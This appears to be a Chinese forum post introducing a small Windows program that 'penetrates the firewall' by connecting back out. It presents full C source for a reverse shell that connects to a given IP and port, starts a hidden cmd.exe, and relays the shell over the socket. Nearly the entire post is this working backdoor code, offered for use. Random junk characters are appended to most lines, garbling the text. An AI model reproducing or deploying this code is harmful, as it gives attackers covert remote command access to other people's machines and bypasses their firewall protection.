这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uK;&L?WB
FD[o94`%
/* ============================== 3"O&IY<
Rebound port in Windows NT L}M%z9K`h
By wind,2006/7 fuQk}OW{
===============================*/ nQaryL
#include ZR8%h<
#include q*'-G]tH=
kE`Fg(M
#pragma comment(lib,"wsock32.lib") 8W"Xdv{
vBLs88
void OutputShell();
/Y#Q<=X
SOCKET sClient; `37%|e 3bQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6'[gd
]VcuD05"C
void main(int argc,char **argv) l&Cy K#B:\
{ N eC]MW
WSADATA stWsaData; 9@^N*
E+
int nRet; =_=0l+\}
SOCKADDR_IN stSaiClient,stSaiServer; {\u6Cj x
zb,YYE1
if(argc != 3) i[4t`v'Dk
{ jb83Y>
printf("Useage:\n\rRebound DestIP DestPort\n"); K3.z>.F'h
return; 'A{B[
} C-sFTf7
'Y22HVUX
WSAStartup(MAKEWORD(2,2),&stWsaData); [R(d Cq>
dh-?_|"
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lKBI3oYn
q5G`N>"V
stSaiClient.sin_family = AF_INET; x,j%3/J^2
stSaiClient.sin_port = htons(0); 3S=$ng
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dthtWnB@
's\rQ-TV
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :2*0Jh3_
{ @>q4hYF
printf("Bind Socket Failed!\n"); -,qGEJ
return; ZYLPk<<
} %zYTTPLZ
SNrX(V::z
stSaiServer.sin_family = AF_INET; Aj{G=AT
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :qvA'.L/;z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f#&@Vl(i&
~sVbg$]\ G
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^5q}M'
{ ?`3G5at)9f
printf("Connect Error!"); Q6$^lRNOpk
return; #}+_Hy
} ?.g="{5X
OutputShell(); *]>~lO1
} :4x&B^,53
MZ%S3'
void OutputShell() %4x,^ K]
{ '-V[tyE
char szBuff[1024]; FvyC$vip
SECURITY_ATTRIBUTES stSecurityAttributes; P/[}$(&:
OSVERSIONINFO stOsversionInfo; xzb{g,c
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T!1Np'12zF
STARTUPINFO stStartupInfo;
W2]%QN=m$
char *szShell; i;<K)5Z
PROCESS_INFORMATION stProcessInformation; 1Gw_S?$7
unsigned long lBytesRead; G7k.YtW
bW2Msv/H
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :a*F>S!
c|F2 6$rv
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F#Bi*YY
stSecurityAttributes.lpSecurityDescriptor = 0; ')Qb,#/,%
stSecurityAttributes.bInheritHandle = TRUE; 7,3 g{8
e/Y&d9`
I
F$HL\y
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (G 9Ku 8Y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yPks,7U
mMtva}=*
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q(BM0n)f
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ch)#NHZ9F
stStartupInfo.wShowWindow = SW_HIDE; DcsQ 6
stStartupInfo.hStdInput = hReadPipe; B&sa|'0U
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9=9R"X>L
LDbo=w
GetVersionEx(&stOsversionInfo); -c
p)aH)
yJ2A!id
switch(stOsversionInfo.dwPlatformId) ,ik\MSS
{ )AXa.y
case 1: 2$O6%0
szShell = "command.com"; BFPy~5W
break; Wl{wY,u
default: kj@m5`G
szShell = "cmd.exe"; QuBaG<
break; zvKypx
} kYu"`_n}
mU;\,96#
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E@8<
$*;ke5Dm4
send(sClient,szMsg,77,0); _))--+cL
while(1) kjRL|qx`a;
{ *W<|5<<u@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Za'}26
if(lBytesRead) \SA$:^zO
{ T;pe7"
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bX`VIFc
send(sClient,szBuff,lBytesRead,0); E|ZLz~
} %5/h;4
else j12khp?
{ Wa'm]J
lBytesRead=recv(sClient,szBuff,1024,0);
'cf8VD
if(lBytesRead<=0) break; t**o<p#)f
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3k* U/*
} FQw@@
} \"Aw
ATQ
3t$)saQR
return; *h2)$^P%
}